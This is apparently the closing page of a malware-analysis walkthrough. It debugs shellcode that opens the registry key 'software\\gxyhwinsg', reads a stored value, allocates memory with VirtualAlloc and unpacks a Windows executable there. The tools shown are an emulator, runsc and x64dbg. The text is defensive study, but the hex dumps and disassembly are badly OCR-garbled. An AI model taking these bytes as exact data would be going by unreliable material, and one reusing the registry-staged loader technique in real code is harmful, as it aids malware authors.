000020 18 59 31 FF 31 CO AC 3C €1 7C 02 2C 20 Cl CF 0D ¥l.l..<al.,.un.
000030 01 C7 E2 FO 81 FF SB BC 4A A BB SA 10 8B 12 75  ...... [.J7.2...u
000040 DB 89 5D FC SF SE SB 8B 45 FC 89 45 D4 €8B 45 D4 -]._*[.E..E..E.
000050 €6 81 38 4D S5A OF 85 OF 02 00 00 8B 45 FC 33 D2 f.6MZ. E.3.
0000€&0 52 50 8B 45 D4 ©B 40 3C 99 03 04 24 13 54 24 04 RP.E..@ £.T5.
000070 83 C4 08 89 45 DO 8B 45 DO 81 38 S0 45 00 00 OF E..E..8PE
000080 85 E5S 01 00 00 8B 45 DO BB 40 78 03 45 FC 89 45  ...... E..Bx.E..E
000090 CC 8B 45 CC 8B 40 18 85 CO OF 8C CB 01 00 00 40 E..@ @
0000R0 89 85 3C FF FF FF 33 Fe 8B 45 FC 33 D2 52 50 BB CosnsdssEs3.RP
0000B0 45 CC 8B 40 20 33 D2 52 50 9B Cé C1 EO0 02 99 03 E..R.3.RP.......
0000C0 04 24 13 54 24 04 83 C4 08 03 04 24 13 54 24 04 .15 «F.15.
0000D0 53 C4 08 8B 08 03 4D FC 81 39 4C oF &1 64 75 5¢ «ssessM..9LoaduV
0000EQ 5D 41 04 81 38 4C €9 62 72 75 4B 8D 41 08 81 38 gLibruK.A..8&
0000F0 €l 72 79 41 75 40 8D 41 0C 80 38 00 75 38 8B 45 a:;Lu@.LP<E.u:.E
000100 CC 8B 40 24 03 45 FC 33 D2 52 50 8B Ce 03 CO 9% ..85.E.3.RP.....
000110 03 04 24 13 54 24 04 83 C4 08 €6 8B 00 &B cC .. 5.T6. U
000120 8B 52 1C 03 55 FC OF B7 C0 C1 EO 02 03 DO 2 eReslUassnnssnnsns
000130 03 45 FC 89 45 BC 81 39 47 €5 74 50 75 1 E..E..%etPuV.A
v

click launch and observe the output.

Loaded bad4 bytes Frnm file C:\Users\Public\SHELLC~1.BIN
Initialization

Max Steps: 2

Using base

4012cf LoadLibraryA(adv

4:"114.‘-'4’":. RegOpenKeyE X,
RegOpenKeyEXx
ExitProcess

Stepcount 49041

nothing intersting, we can see that it only open some registry keys (which are not presented
because this shellcode is not loaded in memory so it can determine strings based on his
address) and thats it, we have to dynamically analyse it in order to know what it is essentially
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doing.

let’s use runsc tool.
Public>runsc.exe -f shellcode.bin
[*] shellcode file: shellcode.bin

[*] size of shellcode is 2980 bytes

[*] what to do now.

Shellcode address:
Shellcode thread

6
ttach to s proce using the de
t a breakpoi on the shellcode ad

» (e.g. bp <addr>).
vitch back to this wind and press any key to resume the shellcode thread.
vitch back to the debugger and the program will be stopped on the first shellcode instruction.

as we see in the console, we need to open XDBG and attach runsc process then put a
breakpoint on the shellcode’s address.

after you put the breakpoint, go back to the runsc window and click any key once or twice
untill you hit the breakpoint in XDBG.

Bou Boaph  ilog Notes @ Breskpoints 8 MemoryMap [ CallStack &7 SEH Sait ¥ symbols < Source References W Threads &) Snowman @ Handes  #¥ Trace
EIP ECX EDX EBI 0 ooo S push ebp ~| wide FPU
C ( 8B EC mov ebp,esp
L 81 C4 00 FA FFladd esp,FFFFFAQ0 EAX 6CACB40F
o 53 push ebx EBX 00730000
o 56 push esi ECX 00730000
57 push edi EDX 00730000
53 push ebx EBP  00F8F964
56 push esi ESP  00F8F954
o pushiiecs ESI 00730000
31 D2 xor edx,edx EDERO00000
64 88 52 30 mov edx,dword ptr :[edx+30]
8B 52 0C mov egx,gzorg ptr dE: Eegx L]] EIP 00730000
88 52 14 mov edx.dword ptr ds:[edx:14
88 72 28 movhosi,dword ptr ds:[edx+28] ;EL;GSPF 20022334
6A 18 push 18
59 pop ecx OF 0 SF O DF O
31 FF xor edi,edi CFO TF1 IF1
31 co Xor eax,eax
AC lodsb L. LastError 00000057 (ERROR_INVALID_PARAMETER
;E g% ("1“')7311)65:1) 61:'a LastStatus C000000D (STATUS_INVALID_PARAMETE
]
LYY e R N ¥ | pefout (stdcal) ~ |[5 ] unlodeed
— 1: [esp+4] 00730000
ebp=00F8F964 2: [esp+8] 76468630 <kernel32.BaseThreadInit]
3: [esp+C]_ 6CACB40F
........ 4: [esni101 O0ERFIAC
Woump1  WYpump2 WHDump3  WHoump4  WWDumps @ watch1  bellocals 7 Struct Sg;ggg return to kernel32.76468654 from 27?7 2

>

)| 764686 kernel132_.BaseThreadInitThunk
9| 6cACB4
JLOOF8F9

Addres|Hex
77AC101C 00 1E 00|00 DE AC 77|28 00 2A
77AC10 34 00 36 00

8]
o
O
R
N
N

77AC101A 00 1C 00 60 DD AC 77 > ) ; -
77AC1020 00 22 00 20 DD AC 77 ,:‘, Iggggga return to ntdl1.77B24A77 from 277

77AC102C 00 2e 00 |BC_DC_AC 77 00 9| 1BAES

77AC1018 00 1A 00|7C DC AC 77 ) | 00000d

77AC1022 00 24 00 CO 95 AC 77 J0r8F9 600000

77AC1004 18 AC 77 |40 00 00 00 neocnl nnv~nn <
77AC102A 00 2C 00 /E4 95 AC 77 vi< >
Command: Default  ~

we are now in the shellcode codel.

from our previous analysis we see that this sample calls RegOpenKeyEXA but take a note
that if you do a bp RegOpenKeyEXxA the breakpoint wont trigger because this function is
actually loaded from advapi32.dll

so type the following in the XDBG console:

bp advapi32.RegOpenKeyExA
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run.

/4FAFC12
74FAFC13
74FAFC15
74FAFC16
74FAFCI1C
74FAFC1D
74FAFC1E
/4FAFC1F
74FAFC20
74FAFC21
74FAFC22
74FAFC23
74FAFC24
74FAFC25
/4FAFC26
74FAFC27
74FAFC28
74FAFC29
/4FAFC2A
74FAFC2B
74FAFC2C

<advapi32

EC

25 44 B3 FF

mov edi,edi
push ebp
mov ebp esp
pop €

jmp duord ptr ds:[<&RegOpenKeyExA>]

int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
1nt3

RegOpenKeyEXA

RegOpenKeyEXA

and YES! we hit it, and as we see from the stdcall window, we know the key it opens.

i F [es p+4
%f esp+8

80000002
00730A48
[esp+C] 00000000

"software\\gxyhwinsg"

4: [esn+101 00OOOOOOQYT

let’'s get back to user code, if we scrolled down a little we can see a call to

RegQueryValueExA (makes sense because we called RegOpenKeyExA) and VirtualAlloc.

007304A5 83 CO 41 add eax,41 eax: "sof tware\\gxyhwinsg"
007304A8 50 push eax eax: "software\\gxyhwinsg”
007304A9 8B 85 70 FF FFmov eax,dword ptr ss:|[ .
007 304AF 50 push eax eax: "sof tware\\gxyvhwinsg"
00730480 FF 55 AC call dword ptr ss:[ebp|[ebp-54]f RegQueryValueE
00730483 85 CO test eax,eax eax: sof twarey \gxXymwiTmsg
007304B5 75 5C jne ?30513
007304B7 83 BD 60 FF FF cmp dword ptr ss:[[ebp-{64:'d"

| ------8| 007 304BE 76 53 fbe 730513

i 007304C0 6A 40 push 40

i 007304C2 68 00 30 00 00 push 3000

1 007304C7 8B 85 60 FF FF mov eax,dword ptr ss:

i 007304CD 50 push eax ax: "software\\gxyhwinsg”

e 007 304CE 6A 00 push 0

i 007304D0 FF 55 A8 call dword ptr ss:[[ebp [ebp-ss]:

i 007304D3 89 85 64 FF FF mov dword ptr ss: Eebp

i 007304D9 83 BD 64 FF FF cmp dword ptr ss:[ebp-

14 e 007304E0 74 31 1e 730513

i 007304E2 8D 85 60 FF FF lea eax,dword ptr ss:

B 007 304E8 50 push eax eax: "software\\gxyhwinsg"”

IEtas 007304E9 8B 85 64 FF FFmov eax,dword ptr ss:|[

10 007 304EF 50 _|push eax _|eax:"software\\gxyhwinsg"

let’'s put a breakpoint on VirtualAlloc and watch the memory that it allocates (the return
memory address is in EAX).
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UWoump4 U4WDumps @ watch1  be-llocals P Struct
II ~

00 00(00 00 00 (. .|...... J add byte ptr ds:[eax] ,al (User Code) }

run again and observe how this memory region changes.

By @oeph  [tlog  [Jtotes @ oredkponts M MemoryMep [ Colstack  SseH  [o/saipt @ symbos < sowce S References  WTweads &/ snowmen  @iHendes £ Trace

8B FF mov edi,edi VirtualATTloc T
76466872 55 push ebp HideJERY
76466873 8B EC mov ebp,esp EAX 0006CC54
76466875 5D op ebp EBX 00000000
76466876 <kernel32| - FF 25 0C 12 4C|jmp dword ptr ds:[<&VirtualAlloc:VvirtualAlloc ECX 00F8F850
7646687C (e nt3 EDX 000000A5 ty'
7646687D cc nt3
7646687E cC nt3 e o ka0
ESP  00F8F330
GAGEEE CC nE3 ESI 00000100 L'A’
76466880 cc nt3 EDI 00000000
76466881 cC nt3
;g:gggg% Eg :g EIP 76466870 <kernel32.virtualAlloc>
76466884 cc nt3
76466885 cc nt3 EFLAGS 00000344
76466886 cc nt3 ZF 1 PF 1 AF 0
76466887 cC nt3 OF 0 SF O DF O
76466888 cC nt3 CFO0O TF 1 IF1
76466889 cC nt3
7646688A cc nt3 LastError 00000057 (ERROR_TNVALTD_PARAMETER
76466888 cc int3 LastStatus 00000000 (STATUS_SUCCESS) |
7646688C cc int3 | —————
: < o= ne 5 netwt(esmal)s ~ 1[5 )00 unlodeed
edi=0 2: [esp+8] 0006CC54
3: [esp+C] 00003000
- |4: Tesni101 _000000.
o 9 )( )6 return to 0073068A from ??? ~
Woump1  @4oump2  @Hoump3  Hoump4  WMoumps @ watch1  bellodls P Struct Dorsasl 00000
T o ~| 00r &r 3| 0006CC
piQ.co O,u.1.0R. 00F 8F 3( 000030
k8t- ... Es<A.-.a 00F8F 3
00F900 45 7A 42 EzBDUI»70q. "iL.A 00r8F 3| 007300
00F900 D5 6C 41 O1A2HIY1%h400.41 00r8r 3| 007300
00F900 90 DA 21 .0tp.33. 2" [&di 00r&r 3 007300
00F90079 24 35 ‘SR.R:QIN .[(. ca 00F8F 3| BC11EE
00F900 0.AejoobX. [ ..V )
00F900 50 A? 9R RF |04 40 37 PC.X._@oh. . (V. 2| cor-8EY 3E 4073 v
< > < >

we hit another VirtualAlloc and our memory was filled with some random data. follow the
second VirtualAlloc’s return address in dump and run.
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WWoump1 @Wpump2 WHoump3 Woump4  Whoumps @ watchi  Ix=lLocaks 2 struct

Address Hex ASCII ~
01000000 4D 5A 50 00|02 00 00 00|04 00 OF 00 |FF FF 00 00 MZP......... VY. .

01000010 B8 00 00 00|00 00 00 00|40 00 1A 00|00 00 00 OO0 |  ....... @.......

01000020 00 00 00 00|00 00 00 00 (00 00 00 00 |00 0O [incdword ptr ds:[eax] (User Code) fu = = « - «

01000030 00 00 00 00|00 00 00 00|00 OO0 00 00|00 01 L 1 1 N B

01000040 BA 10 00 OE |1F B4 09 CcD 21 B8 01 4C CD 21 90 90 L i B I o [

01000050 54 68 69 73(20 70 72 6F |67 72 61 6D |20 6D 75 73 This program mus

01000060 74 20 62 65|20 72 75 6E |20 75 BE 64 (65 72 20 57 t be run under W

01000070 69 6 33 32 0D 0OA 24 37 |00 00 00 00|00 00 00 00 in32..%7........

01000080 00 00 00 00|00 00 00 00|00 00 00 00(00 00 00 00 |...¢cceeeemeunnn

01000090 00 00 00 00|00 00 00 00|00 00 00 00(00 00 00 00 |...:cccuiceeucunnn

010000A0 00 00 00 00|00 00 00 00|00 00 00 OO(O0 00 00 00 | .- cccicocmacaann

01000080 00 00 00 00|00 OO0 OO0 OO0 |00 00 00 OO(00 00 00 00 | ..o v ereeenecnnnn

010000C0 00 00 00 00|00 00 00 00|00 00 00 00(00 00 00 00 |...¢ccueeemeunnn

01000000 00 00 00 00|00 00 00 00|00 00 00 00(00 00 00 00 |....ccuceeucunnn

010000E0 00 00 00 00|00 00 00 00|00 00 00 00(00 00 00 OO0 |.. ... .. ... ..... v
< >

Poaesz  ovie WO saL | (2-0)

’

WHAT A LONG JOURNEY!!

14/14



